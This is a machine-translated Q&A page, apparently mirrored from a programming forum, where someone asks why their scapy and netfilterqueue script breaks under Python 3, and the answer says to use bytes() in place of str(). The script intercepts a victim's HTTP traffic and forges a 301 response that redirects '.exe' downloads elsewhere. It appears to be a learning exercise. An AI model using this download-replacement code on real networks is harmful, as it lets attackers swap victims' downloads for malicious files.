Ошибка типа: Аргумент «полезная нагрузка» имеет неправильный тип (ожидаемые байты, получен str). Как я могу это исправить? Почему он работает на Python 2, но не использует Python 3? - PullRequest
0 голосов
/ 08 апреля 2020

Я довольно новичок в Python, и у меня возникла следующая проблема с использованием библиотеки * scapy **. Здесь вы можете найти весь код (но я думаю, что это не так важно, потому что ошибка находится в указанной строке c: https://github.com/AndreaNobili/replace_download/blob/master/replace_download.py)

В Python 2 проект У меня есть следующие две строки:

modified_packet = set_load(scapy_packet, "HTTP/1.1 301 Moved Permanently\nLocation: https://www.rarlab.com/rar/wrar590.exe\n\n")

# Replace the original packet payload with the packet forget by scapy:
packet.set_payload(str(modified_packet))

Это код моей set_load () функции:

def set_load(packet, load):
    #pdb.set_trace()
    print("set_load() START")

    # When the victim try to download a ".exe" file he\she is redirected to this other ".exe" link:
    packet[scapy.Raw].load = load
    # The value of the following fields are changed because the file is changed, they will be removed and
    # scapy automatically recalculate the values of these fields inserting the correct values:
    del packet[scapy.IP].len
    del packet[scapy.IP].chksum
    del packet[scapy.TCP].chksum
    return packet

Таким образом, в основном я подделываю пакет, используя scapy , наконец, я устанавливаю полезную нагрузку оригинальной переменной packet с полезной нагрузкой, подделанной Scapy :

packet.set_payload(str(modified_packet))

ПРИМЕЧАНИЕ: Переменная пакета не является пакетом ** scapy , а пакетом, полученным с использованием netfilterqueue

Запуск моего сценария с Python 2 он работает нормально, но с использованием Python 3 эта последняя строка дает мне следующую ошибку:

TypeError: Argument 'payload' has incorrect type (expected bytes, got str)
> /root/Documents/PycharmWS/replace_download/replace_download.py(61)process_packet()
-> packet.set_payload(str(modified_packet))  

Итак, я конвертирую * Пакет 1040 * scapy в строку , а затем я устанавливаю полезную нагрузку исходного пакета netfilterqueue , но кажется, что он ожидаем g байт

Как я могу решить эту проблему? Чего мне не хватает?

Еще одно сомнение: почему Python 2 работает нормально? Я подозреваю, что версия зависимости netfilterqueue , используемая Python 2, немного отличается от версии, используемой Python 3, и в старой версии ожидалась строка вместо байт параметр. Правильно ли это рассуждение или я что-то упустил?

1 Ответ

0 голосов
/ 08 апреля 2020

Python 3 использует «байты» на проводе. Вместо использования str() используйте bytes(). Посмотрите на http://python-future.org/compatible_idioms.html#strings -и-байты для отличного сравнения того, что вы должны делать на Py3 с Py2.

В вашем случае просто выполните

packet.set_payload(bytes(modified_packet))
...